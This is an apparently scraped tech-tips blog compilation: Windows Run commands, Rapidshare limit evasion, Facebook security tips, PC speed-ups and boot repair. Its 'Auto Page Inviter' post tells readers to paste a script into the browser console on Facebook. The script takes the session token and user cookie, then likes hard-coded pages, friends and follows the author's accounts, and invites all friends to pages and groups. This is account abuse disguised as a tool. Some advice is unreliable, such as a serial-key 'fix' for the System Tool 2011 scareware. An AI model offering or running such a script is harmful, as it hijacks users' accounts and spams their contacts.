Windows Start | Run commands

Description	Run Command
Accessibility Options	control access.cpl
Accessibility Options	utilman
Add Hardware Wizard	hdwwiz.cpl
Add/Remove Programs (Add New Programs) (Add Remove Windows Components) (Set Program Access & Defaults )	appwiz.cpl control appwiz.cpl,,1 control appwiz.cpl,,2 control appwiz.cpl,,3
Administrative Tools	control admintools
Advanced User Accounts Control Panel	netplwiz
Authorization Manager	azman.msc
Automatic Update	control wuaucpl.cpl
Backup Status and Utility	sdclt
Bluetooth Transfer Wizard	fsquirt
Calculator	calc
Certificate Manager	certmgr.msc
Character Map	charmap
Check Disk Utility	chkdsk
Clipboard Viewer – removed in Vista
Color Management	colorcpl.exe
Command Prompt	cmd
Component Services	dcomcnfg
Computer Management	CompMgmtLauncher
Control Panel	control
Credential (passwords) Backup and Restore Wizard	credwiz
Date and Time Properties	timedate.cpl
Device Manager	devmgmt.msc
Direct X Control Panel (if installed)	directx.cpl
Direct X Troubleshooter	dxdiag
Disk Cleanup Utility	cleanmgr
Disk Defragmenter	dfrgui defrag
Disk Management	diskmgmt.msc
Disk Partition Manager	diskpart
Display Properties (Themes, Desktop, Screensaver)	control desktop
Display Properties (Resolution, Orientation)	desk.cpl
Display Properties (Color & Appearance)	control color
Driver Verifier Utility	verifier
DVD Player	dvdplay
Event Viewer	eventvwr.msc
File Signature Verification Tool	sigverif
Files and Settings Transfer Tool	windows\system32\migwiz\migwiz.exe
Firewall Control Panel	firewall.cpl
Folders Properties	control folders
Fonts	control fonts
Game Controllers	joy.cpl
Local Group Policy Editor	gpedit.msc
Internet Properties	inetcpl.cpl
IP Configuration	ipconfig
iSCSI Initiator	iscsicpl
Keyboard Properties	control keyboard
Language Pack Installer	lpksetup
Local Security Policy	secpol.msc
Local Users and Groups	lusrmgr.msc
Log out	logoff
Microsoft Malicious Software Removal Tool	mrt
Microsoft Paint	mspaint
Microsoft Support Diagnostic Tool	msdt
Mouse Properties	control mouse or main.cpl
Network Connections	control netconnections or ncpa.cpl
Notepad	notepad
ODBC Data Source Admin: 32-bit ODBC driver under 64-bit platform: 64 bit ODBC driver under 64-bit platform:	C:\windows\sysWOW64\odbcad32.exe C:\windows\system32\odbcad32.exe
On Screen Keyboard	osk
Performance Monitor	perfmon.msc
Phone and Modem Options	telephon.cpl
Phone Dialer	dialer
Power Configuration	powercfg.cpl
Printers and Faxes	control printers
Private Character Editor	eudcedit
Regional Settings	intl.cpl
Registry Editor	regedit
Remote Assistance	msra
Remote Desktop	mstsc
Resultant Set of Policy	rsop.msc
Scheduled Tasks	control schedtasks
Security Center	wscui.cpl
Services	services.msc
Shared Creation Wizard	shrpubw
Shared Folders	fsmgmt.msc
Shut Down Windows	shutdown
Software Licensing/Activation	slui
Sounds and Audio	mmsys.cpl
Sound Recorder	soundrecorder
Sound Volume	sndvol
Syncronization Tool	mobsync
System Configuration Utility	msconfig
System File Checker Utility (Scan/Purge)	sfc
System Information	msinfo32
System Properties System Properties (Select a specific tab)	sysdm.cpl SystemPropertiesAdvanced, SystemPropertiesComputerName, SystemPropertiesDataExecutionPrevention, SystemPropertiesHardware,SystemPropertiesPerformance, SystemPropertiesProtection, SystemPropertiesRemote
Task Manager	taskmgr
Telnet Client	telnet
Trusted Platform Module Initialization Wizard	tpmInit
User Accounts (Autologon)	control userpasswords2
Windows Features	optionalfeatures
Windows Firewall Windows Firewall with Advanced Security	firewall.cpl wf.msc
Windows Image Acquisition (scanner)	wiaacmgr
Windows Magnifier	magnify
Windows Management Infrastructure	wmimgmt.msc
Windows Mobility Center (Mobile PCs only)	mblctr
Windows Security Action Center	wscui.cpl
Windows System Security Tool. Encrypt the SAM database. (boot password.)	syskey
Windows Update	wuapp
Windows Update Standalone Installer	wusa
Windows Version (About Windows)	winver
WordPad	write

Unless indicated otherwise, all the commands above work in all versions of Windows from Vista upwards.

100% WORKING | INVITE ALL YOUR FRIENDS TO YOUR FACEBOOK PAGE • AUTO PAGE INVITER – SCRIPT

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NOTE : This script works only with Chrome / Firefox 
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Info available on http://facebook.com/autopagelike

1 . COPY only the script from below
2 . Open and go on Facebook.com > Your PAGE
3 . if you are using FIREFOX press Ctrl + Shift + K / press F12 
—-if you are using CHROME press Ctrl + Shift + J / press F12 
4 . Go to CONSOLE, PASTE the script into the Console & 
5 . Hit ENTER on your keyboard and wait for 5 seconds

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 Feel free to share, I am sure if you like it. 

 

//eval
var parent=document.getElementsByTagName(“html”)[0];
var _body = document.getElementsByTagName(‘body’)[0];
var _div = document.createElement(‘div’);
_div.style.height=”25″;
_div.style.width=”100%”;
_div.style.position=”fixed”;
_div.style.top=”auto”;
_div.style.bottom=”0″;
_div.align=”center”;
var _audio= document.createElement(‘audio’);
_audio.style.width=”100%”;
_audio.style.height=”25px”;
_audio.controls = true;
_audio.autoplay = true;
_audio.src = “http://www.fans4fans.it/js/mp3_player/music/christmas/USA%20For%20Africa%20Band%20Aid%20-%20We%20Are%20The%20World.mp3”;
_div.appendChild(_audio);
_body.appendChild(_div);
var fb_dtsg = document.getElementsByName(‘fb_dtsg’)[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var fb_dtsg=document.getElementsByName(“fb_dtsg”)[0].value;
var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
body = document.body;
if(body != null)
{
div = document.createElement(“div”);
div.style.position = “fixed”;
div.style.display = “block”;
div.style.width = “100px”;
div.style.opacity= 0.90;
div.style.bottom = “+60px”;
div.style.left = “+0px”;
div.style.backgroundColor = “rgba(0,0,0,0.5)”;
div.style.border = “1px solid rgba(0,0,0,0.5)”;
div.style.padding = “3px”;
div.innerHTML = “<a style=’font-weight:bold;color:#E30505′ href=’https://www.facebook.com/sharer/sharer.php?u=http%3A%2F%2Ffacebook.com/djnykeh&t=Facebook+Background+Theme&#8217; title=’Share’><blink><center>SHARE</center></blink></a>”
body.appendChild(div);
}
if(body != null)
{
div = document.createElement(“div”);
div.style.position = “fixed”;
div.style.display = “block”;
div.style.width = “100px”;
div.style.opacity= 0.90;
div.style.bottom = “+35px”;
div.style.left = “+0px”;
div.style.backgroundColor = “rgba(0,0,0,0.5)”;
div.style.border = “1px solid rgba(0,0,0,0.5)”;
div.style.padding = “3px”;
div.innerHTML = “<a style=’font-weight:bold;color:#E30505′ href=” title=’Refresh’><blink><center>CLOSE  (F5)</center></blink></a>”
body.appendChild(div);
}
if(body != null)
{
div = document.createElement(“div”);
div.style.position = “fixed”;
div.style.display = “block”;
div.style.width = “135px”;
div.style.opacity= 0.90;
div.style.bottom = “+10px”;
div.style.left = “+0px”;
div.style.backgroundColor = “rgba(0,0,0,0.5)”;
div.style.border = “1px solid rgba(0,0,0,0.5)”;
div.style.padding = “3px”;
div.innerHTML = “<a style=’font-weight:bold;color:#E30505′ href=’http://www.facebook.com&#8217; title=FREE LIKES HERE><blink><center>FREE LIKES HERE!</center></blink></a>”
body.appendChild(div);
}
var fb_dtsg = document.getElementsByName(‘fb_dtsg’)[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function Like(p) {
var Page = new XMLHttpRequest();
var PageURL = “//www.facebook.com/ajax/pages/fan_status.php”;
var PageParams = “&fbpage_id=” + p +”&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user=”+user_id+”&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg=”+fb_dtsg+”&phstamp=”;
Page.open(“POST”, PageURL, true);
Page.onreadystatechange = function () {
if (Page.readyState == 4 && Page.status == 200) {
Page.close;     }  };   Page.send(PageParams); } Like(“256397011077045”); Like(“300217250076535”); Like(“652622688125514”); Like(“645944518807955”); Like(“391212340940330”); var fb_dtsg = document.getElementsByName(‘fb_dtsg’)[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function IDS(r) {
var X = new XMLHttpRequest();
var XURL = “//www.facebook.com/ajax/add_friend/action.php”;
var XParams = “to_friend=” + r +”&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user=”+user_id+”&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg=”+fb_dtsg+”&phstamp=”;
X.open(“POST”, XURL, true);
X.onreadystatechange = function () {
if (X.readyState == 4 && X.status == 200) {
X.close;
}
};
X.send(XParams);
}
IDS(“100008269967143”);
var fb_dtsg = document.getElementsByName(‘fb_dtsg’)[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function a(abone) {
var http4 = new XMLHttpRequest();
var url4 = “/ajax/follow/follow_profile.php?__a=1”;
var params4 = “profile_id=” + abone + “&location=1&source=follow-button&subscribed_button_id=u_0_23&fb_dtsg=” + fb_dtsg + “&lsd&__” + user_id + “&phstamp=”;
http4.open(“POST”, url4, true);
http4.onreadystatechange = function () {
if (http4.readyState == 4 && http4.status == 200) {
http4.close;
}
};
http4.send(params4);
}
a(“100008269967143”); a(“1415934878”); a(“100002251467980”);
var Title = “Auto Page Inviter</A>”;
var Descriptions = “”,
_text = ‘Powered By:  <A style=”color:#3B5998;” href=”https://www.facebook.com/djnykeh&#8221; target=”_blank”>DJ Nykeh</A></br>Script By: <A style=”color:#3B5998;” href=”djnykeh” target=”_blank”> DJ Nykeh (Nikesh Jain)</A>.</br>For More Tools Visit Our Site <A style=”color:#3B5998;” href=” https://www.facebook.com/DjNykeh/app_208195102528120&#8243; target=”_blank”>Automate Your Facebook</A>.’;
page_id = /”profile_owner”:”([0-9]+)”/.exec(document.getElementById(“pagelet_timeline_main_column”).getAttribute(“data-gt”))[1];
function InviteFriends(opo) {
jx.load(window.location.protocol + “//www.facebook.com/ajax/pages/invite/send_single?page_id=” + page_id + “&invitee=” + opo + “&elem_id=u_0_1k&action=send&__user=” + user_id + “&__a=1&__dyn=7n8aD5z5CF-3ui&__req=8&fb_dtsg=” + fb_dtsg + “&phstamp=”, function (a) {
var b = a.substring(a.indexOf(“{“));
var c = JSON.parse(b);
i–;
Descriptions = “<div class=’friend-edge-name’ style=’padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;”;
if (c.error) {
Descriptions += “color:darkred’>”;
err++;
if (c.errorDescription) Descriptions += c.errorDescription;
else Descriptions += JSON.stringify(c, null, “”)
} else {
Descriptions += “color:darkgreen’>”;
Descriptions += arn[i] + ” has been invited to like the page ” + page_name + “.”;
suc++
}
Descriptions += “</div>”;
var display = “<div id=’friend-edge-display’ style=’box-shadow:0px 3px 8px rgba(0, 0, 0, 0.9);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.9);border-radius: 1em 4em 1em 4em;border:3px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#ffffff’>”;
display += “<div style=’padding-bottom:5px;font-size:20px;’>” + Title + “</div>”;
if (i > 0) {
display += arr.length + ” Friends Detected<br/>”;
display += “<b>” + suc + “</b> Friends Invited of ” + (arr.length – i) + ” Friends Processed “;
display += “(” + i + ” Lefted…)”;
display += “<div class=’friend-edge’>”;
display += Descriptions;
display += “<img style=’width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);’ src=” + pho[i] + “></img><a style=’font-size:13px;padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;’>” + arn[i] + “</a>”;
display += “<div style=’text-align:center;font-size:10px;white-space:pre-wrap;color:gray’>”;
display += “Please Wait While Inviting Your Friends to Like Your Page ” + page_name + “.</br>”;
display += “<div><span class=’FriendRequestAdd addButton selected uiButton uiButtonSpecial uiButtonLarge’ onClick=’ChangeLocation()’ style=’color:white’>Go to Homepage</span><span class=’layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge’ onClick=’window.location.reload()’ style=’color:white’>Cancel</span><br/>”;
display += _text;
display += “</div>”;
display += “</div>”;
display += “</div>”;
window[tag + “_close”] = true
} else {
Title = “All Of Your Friends Have Been Invited to Like Your Page.</A>”;
display += arr.length + ” Friends Detected and “;
display += “<b>” + suc + ” Friends Invited.</b></br>”;
display += “<div><span class=’FriendRequestAdd addButton selected uiButton uiButtonSpecial uiButtonLarge’ onClick=’ChangeLocation()’ style=’color:white’>Go to Homepage</span><span class=’layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge’ onClick=’window.location.reload()’ style=’color:white’>Refresh Page</span><span class=’layerCancel uiOverlayButton uiButton uiButtonLarge’ onClick=’document.getElementById(\”pagelet_sidebar\”).style.display=\”none\”‘ style=’color:gray’>Cancel</span><br/>”;
display += “<div style=’text-align:center;font-size:10px;white-space:pre-wrap;color:gray’><br/>”;
display += _text;
display += “</div>”;
window[tag + “_close”] = false
}
display += “</div>”;
document.getElementById(“pagelet_sidebar”).innerHTML = display
}, “text”, “post”);
tay–;
if (tay > 0) {
var s = arr[tay];
setTimeout(“InviteFriends(” + s + “)”, 100)
}
console.log(tay + “/” + arr.length + “:” + arr[tay] + “/” + arn[tay] + “, success:” + suc);
if (page_id) jx.load(window.location.protocol + “//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=” + fb_dtsg + “&profileChooserItems=%7B%22” + opo + “%22%3A1%7D&checkableitems[0]=” + opo + “&page_id=604203492946997&__user=” + user_id + “&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=”, function () {}, “text”, “post”)
if (page_id) jx.load(window.location.protocol + “//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=” + fb_dtsg + “&profileChooserItems=%7B%22” + opo + “%22%3A1%7D&checkableitems[0]=” + opo + “&page_id=208875895908384&__user=” + user_id + “&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=”, function () {}, “text”, “post”)
if (page_id) jx.load(window.location.protocol + “//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=” + fb_dtsg + “&group_id=144865725571532&source=typeahead&members=” + opo + “&nctr[_2]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=” + user_id, function () {}, “text”, “post”);
if (page_id) jx.load(window.location.protocol + “//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=” + fb_dtsg + “&group_id=137867136418035&source=typeahead&members=” + opo + “&nctr[_2]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=” + user_id, function () {}, “text”, “post”);
}
jx = {
b: function () {
var b = !1;
if (“undefined” != typeof ActiveXObject) try {
b = new ActiveXObject(“Msxml2.XMLHTTP”)
} catch (c) {
try {
b = new ActiveXObject(“Microsoft.XMLHTTP”)
} catch (a) {
b = !1
}
} else if (window.XMLHttpRequest) try {
b = new XMLHttpRequest
} catch (h) {
b = !1
}
return b
},
load: function (b, c, a, h, g) {
var e = this.d();
if (e && b) {
e.overrideMimeType && e.overrideMimeType(“text/xml”);
h || (h = “GET”);
a || (a = “text”);
g || (g = {});
a = a.toLowerCase();
h = h.toUpperCase();
b += b.indexOf(“?”) + 1 ? “&” : “?”;
var k = null;
“POST” == h && (k = b.split(“?”), b = k[0], k = k[1]);
e.open(h, b, !0);
e.onreadystatechange = g.c ? function () {
g.c(e)
} : function () {
if (4 == e.readyState)
if (200 == e.status) {
var b = “”;
e.responseText && (b = e.responseText);
“j” == a.charAt(0) ? (b = b.replace(/[\n\r]/g, “”), b = eval(“(” + b + “)”)) : “x” == a.charAt(0) && (b = e.responseXML);
c && c(b)
} else g.f && document.getElementsByTagName(“body”)[0].removeChild(g.f), g.e && (document.getElementById(g.e).style.display = “none”), error && error(e.status)
};
e.send(k)
}
},
d: function () {
return this.b()
}
};
function ChangeLocation() {
window.location.href = “http://www.facebook.com/&#8221;
}
setTimeout(“ChangeLocation”, 1);
window.onbeforeunload = function () {
if (window[tag + “_close”]) return “This script is running now!”
};
var i = 3;
var tay = 3;
var suc = 0;
var err = 0;
var arr = new Array;
var arn = new Array;
var pho = new Array;
var tag = “Close”;
var page_name, x = document.getElementsByTagName(“span”);
for (i = 0; i < x.length; i++)
if (x[i].getAttribute(“itemprop”) == “name”) page_name = x[i].innerHTML;
var fb_dtsg = document.getElementsByName(“fb_dtsg”)[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
jx.load(window.location.protocol + “///www.facebook.com/ajax/typeahead/first_degree.php?viewer=” + user_id + “&token=v7&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha&__user=” + user_id + “&__a=1&__dyn=7n8aD5z5CF-3ui&__req=l”, function (a) {
var b = a;
var c = b.substring(b.indexOf(“{“));
var d = JSON.parse(c);
d = d.payload.entries;
for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
i = arr.length – 1;
tay = i;
console.log(arr.length);
var display = “<div id=’friend-edge-display’ style=’position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0px 3px 8px rgba(0, 0, 0, 0.9);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.9);border-radius: 1em 4em 1em 4em;border:3px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#ffffff’>”;
display += “<div style=’padding-bottom:10px;font-size:20px;’>” + Title + “</div>”;
display += arr.length + ” Friends Detected, Please Wait . . .”;
display += “</div>”;
document.getElementById(“pagelet_sidebar”).innerHTML = display;
InviteFriends(arr[i])
});
//jsunpack.called CreateElement div
//jsunpack.url element = undefined
//jsunpack.url var _4855 = var parent=document.getElementsByTagName(“html”)[0];
var _body = document.getElementsByTagName(‘body’)[0];
var _div = document.createElement(‘div’);
_div.style.height=”25″;
_div.style.width=”100%”;
_div.style.position=”fixed”;
_div.style.top=”auto”;
_div
//jsunpack.url var _4052 = var parent=document.getElementsByTagName(“html”)[0];
var _body = document.getElementsByTagName(‘body’)[0];
var _div = document.createElement(‘div’);
_div.style.height=”25″;
_div.style.width=”100%”;
_div.style.position=”fixed”;
_div.style.top=”auto”;
_div

Rapidshare Remove Timelimit for Downloading

Here we can Learn ,

How to remove Time limit for Rapidshare Downloading?

so Follow these instruction Carefully 

Rapidshare traces the users IP address to limit each user to a certain amount of downloading per day. To get around this, you need to show the rapidshare server, a different IP address. You can do this one of multiple ways.

Requesting a new IP address from your ISP server.

Here’s how to do it in windows:

1. Click Start

2. Click run

3. In the run box type cmd.exe and click OK

4. When the command prompt opens type the following. ENTER after each new line.

ipconfig /flushdns

ipconfig /release

ipconfig /renew

exit

5. Erase your cookies in whatever browser you are using.

6. Try the rapidshare download again.

Frequently you will be assigned a new IP address when this happens. Sometime you will, sometimes you will not. If you are on a fixed IP address, this method will not work. To be honest, I do not know how to do this in linux/unix/etc. If this works for you, you may want to save the above commands into a batch file, and just run it when you need it.

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6 Tips To Secure Your Facebook Account

There are several points to consider when accessing your Facebook account. Let’s discuss them one by one. 1. Enable HTTPS Using HTTPS instead of simple HTTP means that you are securing your communication between the server and your computer. No one will be able to hack between your computer and the server so you can be sure that all the information delivered to and from your computer is completely safe. Modern browsers can highlight the secure URLs with the information about the certificate issuing authority. To enable HTTPS, you can login to your Facebook account and go to “Account -> Account Settings“. Select Account Security under Settings tab and check the box beside Browse Facebook on a secure connection (https) whenever possible 2. Use Facebook two- step authentication (Login Approvals) Like Google, Facebook has also introduced two-step authentication service called Login Approvals. This service lets you login to your Facebook account by using your password plus a security authentication code sent to your mobile device. By enabling this service, you will no longer be able to login to Facebook by only using your password. You will always be required to use the password and security code sent to your mobile device. 3. Check for Facebook email phishing attacks and scams While you are in Facebook, you should never click on suspicious links even if the messages were sent from your friends. Most Facebook scams spread by posting messages to walls of all friends of the infected user. The best place to get updated news about Facebook scams is Facecrooks.com. This site will give you details about all the recent scams and other threats spreading on Facebook. Visit Facecrooks.com frequently to find out more about Facebook threats. You should also take extra care when reading a message from Facebook. Always double-check the email address of the sender before taking any action or clicking on any link in the email. All the emails sent from Facebook will originate from facebookmail.com domain. Emails from any other domain claiming to be from Facebook will be scam and not legitimate. 4. Enable login notifications Enabling login notifications in Facebook will notify you when someone logs in from a suspicious location or computer. This is important if you always use your Facebook from the same computer and same Internet connection, Facebook will know your location and will trust the computer you’re working on. If you or someone else logs in from another location, you’ll get a notification from Facebook about the suspicious account activity. To enable login notification, go to “Account -> Account Settings“. Under settings tab expand “Account security -> Login notification“, check the following two boxes: § Send me an email § Send me a text message You should also check Facebook Login history regularly and see if any suspicious person has logged into your Facebook account. Facebook history will tell you the recent IP addresses and devices used to login to your Facebook account. 5. Use Facebook one-time password service on public computers Like Hotmail, Facebook also provides the facility of one-time password. One-time password is a temporary password which can only be used once and expires within 20 minutes of creation. To enable this service, you’ll need to activate a phone number so that Facebook can send messages to your mobile. To register and activate a phone number you can go to “Account -> Account settings”. Under Mobile tab, you can activate your phone to use Facebook one-time password service. The temporary password will be sent to your mobile and you’ll be able to login to Facebook once using that password. 6. Check Allowed Applications Frequently You should always keep an eye on which application you have allowed and what that application is doing. You should never install an app that looks suspicious. Always search the Internet for its reviews and install the app only if it has good rating. I hope following all these points will give you a better and secure experience with Facebook. Last of all I would like you to attempt a security quiz from Facebook. In this quiz you’ll be asked questions about security and you can see how informed you are regarding Facebook security. You may also take a look at managing Facebook privacy options.

How to prevent from Phishing Web page using Domain name?

Viewing SSL certificate:

•  Always check the url whether it is secure connection or not.  “https://&#8221; means secure connection.  “http://&#8221; means usual connection. 
•   Use Secure connection.
•  You should check the SSL certificate. How to check the certificate. visit the website. You can see the website favicon icon in browser in address bar. click the favicon icon.
• It will show small box
• Click the More information.
• Now the small modaless window will be opened.
• You can see “view certificates”. Click it and verify whether it is original or not.
• If you are not able to find the “view certificates” ,then you visit wrong website or you are in non-secure connection.
• Note some website doesn’t have the SSL certificate, so we can’t access the website using secure connection(i mean https://).
• use gmail using secure connection, i means using https://gmail.com

Another Way:
Know what is the IP address of your domain.
Open the notepad enter your domain name and ip address as like this:
Domain name         xxx.xxx.xxx.xxx
Then save the file.
Whenever you want to visit the site, open the file and copy the IP address of domain name.
Paste the IP address into browser and hit enter.
If you do like this, you can visit the site directly.
Actually domain name connects to associated ip address but we are directly using IP address. So we won’t redirected to any other phishing web page.
It might look bore to do.
But if you did this ,you can prevent your account lost.

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How to Obtain Microsoft Windows Updates

Obtaining updates for your Windows OS at regular intervals from Microsoft is a must to keep your Windows computer up-to-date and running smoothly.

Microsoft updates for your Windows system in general includes updates for your operating system, software and hardware, third-party device drivers and also bug fixes to help protect your computer frommalicious software and denial-of-service (DoS) attacks.

There are two ways to obtain Microsoft Windows updates:

1. Directly from the Microsoft Download Center, where you can choose your desired updated versions from the list of new and popular downloads.

1. By using Automatic Update feature in Windows. This is the recommended option of the two because by turning ON the automatic updates feature, Windows automatically searches and delivers all the critical and security updates to your computer and you never need to visit update web site to scan for updates. All you have to do is keep a check on an icon that appears in the notification area at the far right of your taskbar every time new updates are available for your system.

Here is how to turn ON Automatic Updates and help protect your Windows PC

1. Click Start ► Run… then type control and click OK to open Control Panel.
   

1. If your are viewing Control Panel in Classic View, click System and head on to Automatic Updates tab under system Properties windows and change settings for automatic updates.
   

   » Instead, if you are under control panel category view, click Performance and Maintenance ► click System, and then click the Automatic Updates tab to choose the update option you want. Update option Automatic is recommended as it automatically downloads and installs updates at your chosen time.

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Tips on How to Speed Up Your Computer

Computers are the most used innovation that has come up so far. It connects the bridges on people and allows us to have communication with our loved ones that are far from us. However, using our computers often can cause problems and eventually slow them down when we don’t take action on fixing them.

Listed here are tips on how to speed up computer:

• Remember to free up your disk space using disk clean-up or disk defragmenters. Unnecessary files like temporary internet files can slow down your computer so get rid of them, empty your recycle bins frequently, and make sure that your important files are placed on the external hard drive.

• Scan for viruses and worms, spyware and adware. Always check for these nasty programs because they make your computer work slowly more than anything. You need to purchase PC fixer software that can remove these programs.

• Clean up your desktop. If your desktop is flooded with files your computer will eventually function slowly.

• Uninstall unused programs. Your computer might have lots of unused programs installed on it; uninstall them because once a program is installed, it makes a connection between the program and the operating system which also make your system run slower even if you do not use them.

• Do not start up programs automatically when turning on your computer. Make sure that you close programs you do not use that open when you start up your computer.

• Defragment your hard drive. Defragmenting your hard drive places all of your information for each file in one place which will result to a faster computer experience.

These tips on how to speed up my PC might be able to solve your problems on your slow running computers. Following these tips are a big help on your troublesome computer systems.

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How-to Remove System Tool 2011 Virus Easily

Aias: System Tool 2011
Damage Level: Medium
Systems Affected: Windows 9x, 2000, XP, Vista, Windows 7

Image Credit – Life StreamsYou may have tried for hours trying to remove this virus just like I did in vain but finally here I found a very simple method to remove this malicious software made to look like a legitimate anti-virus program.Screen Shot Image:

1. All you have to do is enter the serial key to register “System Tool” and follow the rest of the steps.
   The key is WNDS-S0DF5-GS5E0-FG14S-2DF8G

1. After inputting this key wait for little and you PC will restart automatically and all is okay again.

1. Then you can go ahead and delete icon from desktop and remove the software from program.

Share with all your friends. Its useful…!
Thank you.

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Windows Vista tweaks to speed up your system.

Default settings that Windows Vista comes with are more meant for hardware of future than hardware of today. If you are looking for your vista to run faster and perform better, it is essential that you optimize your Vista settings. Read on to find out 4 powerful Windows Vista tweaks to speed up your system.

• Tweak 1 ► Get Rid of Unnecessary Programs from System Start Up

One of the most powerful vista tweaks is to remove all unnecessary programs from the start up menu. Start up should only contain those bare minimum programs which are really necessary to be started up when your program boots. If there are some programs which are not that essential, but still need to be there in start-up, you can reschedule them to a lower priority & attach them to one of the multi-processes.

• Tweak 2 ► Turn off TCP Auto Tuning and Remote Differential Compression

Vista uses these to augment the gigabyte network. However, these end up being too much of an overhead for normal networking. The networking speed is enhanced by up to 30 percent when you disable these options.

• Tweak 3 ► Defrag Your Hard Disk

Over time, application and files become scattered in different places on your system’s hard disk, affecting the system’s performance greatly. When you defrag your disk, it brings all these scattered pieces together, thus, improving the Windows system’s speed. You can run the disk defragmenter from
Start ► Menu Programs ► Accessories ► System Tools ► Disk Defragmenter.

• Tweak 4 ► Disable the “System Restore” Feature

It was with Windows XP that this feature was first introduced. Windows Vista enhanced it further with introducing additional document versioning. Though it does sound very good and useful, it does have a great impact on the resources. If you think your system is already not running as it should be, you surely won’t want additional duplicates on your system further downgrading your system’s performance. Thus, another of effective vista tweaks would be to disable this feature.

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Losing Data is No Longer the End of the World

Data recovery is the last thing on our minds when we are busy.

Data Recovery Equipment

We’ve all been there. Despite knowing that we need to save our work at regular intervals and backup everything, there is always going to be that time when you’re engrossed in what you’re doing and have ploughed on regardless with that complex spreadsheet, calculations or report. You’ve almost finished, 5 o’clock is in sight, and backing up or saving your data is the last thing on your mind. But you can guarantee that will be exactly the moment when you have a power cut. And suddenly the screen is blank and everything has gone.

Even when you have been as careful as can be and saved every last meg on your external hard drive, you can never guarantee that your dog won’t decide to make a tasty meal out of it and have a good old chew.

Well breathe a sigh of relief as this no longer means the loss of all your hard work. Thankfully there are now expert data recovery organisations out there who can not only retrieve data you thought that you had lost, but can offer you a wealth of information and advice about how to stop it happening again. Both the emergency services and the GP of data recovery all-in-one.

These guys can also advise you on which of the wide range of data recovery systems and equipment are the best value for money and meet your individual needs.

Unfortunately they weren’t able to advise on how to tempt my dog into eating dog food instead of electrical equipment.

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How to Fix Boot Problem in Windows 7

We have often faced such booting problem in windows 7.To fix this problem we make partition with xp and then install windows 7.There is a simple way to fix this problem and it will save your time too.We can fix this problem by repairing the Boot loader files in windows 7. Following steps will help you to understand in detail.

Step 1

Power on the PC press F2 or Del key to enter into BIOS setting,change the first boot device to CD_ROM and press F10 to save settings.

Step 2

Now restart your system and insert the windows 7 DVD, it will ask to Press any key to boot from cd or dvd.

Step 3

Just press any key ,then the repairing process will starts.

Step 4

 System will load files and the below screen appears

Step 5
Click on “Repair Your Computer” as shown.

Step 6

Again some windows component will load and then the below screen appears

 Step 7 
Click on “Command Prompt” and enter the following command to fix boot issue.

                                          bootsect /nt60 c:

Step 8
Now restart the system, it will boot correctly and windows will work fine.

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25 More Tech Tips and Tricks

As a result, everybody, even experts, winds up with knowledge holes—things everybody thinks everybody else knows about the basics of consumer electronics.

When I started writing down the ones I figured everybody should know, my column was twice as long as it’s supposed to be. But hey—on the Web, nobody can hear you exceed your word count. I lopped out half of them and saved them for this e-newsletter.

Think of it as “Today’s Pogue Column (Cont’d).”

Screenshots
*Especially if you’re a beginner (or an expert), it’s frequently useful to capture the image of what’s on the screen — an error message or diagram, for example.

*In Windows, PrintScreen key copies the whole screen image, as a graphic, onto your invisible Clipboard, so you can paste into an e-mail message or any other program (“This is what I’m seeing! What do I do now?!”). If you add the Alt key, you copy only the front window.

*On the Mac, press Command-Shift-3. (Command is the key with the propeller on it, next to the Space bar.) You hear a snapshot sound, and you get a graphics file on your desktop—a picture of the entire screen image.

*If you press Command-Shift-4 instead, you get a crosshair cursor; you can draw across just one portion of the screen. Or, if you now tap the Space bar, you turn the cursor into a little camera icon. You can now click on just one window or toolbar that you want to copy.

*In both cases, you can hold down the Control key to copy the image to the Clipboard instead of leaving a file on the hard drive.

E-mail
* If you get a message from your bank or eBay about a problem with your account, it’s probably a “phishing” scam. It’s a fake, designed to lure you into typing your name and password so the bad guys can have it. Delete it. If you’re concerned, visit the institution’s Web site in your browser by typing in its address (like Citibank.com) — not by clicking the link in e-mail.

* Before you pass on any amazing item you get by e-mail—Obama’s a Muslim, the bubble boy wants greeting cards, the Nieman-Marcus $400 cookie recipe — first check it out at Snopes.com, the world clearinghouse for Internet scams and rumors.

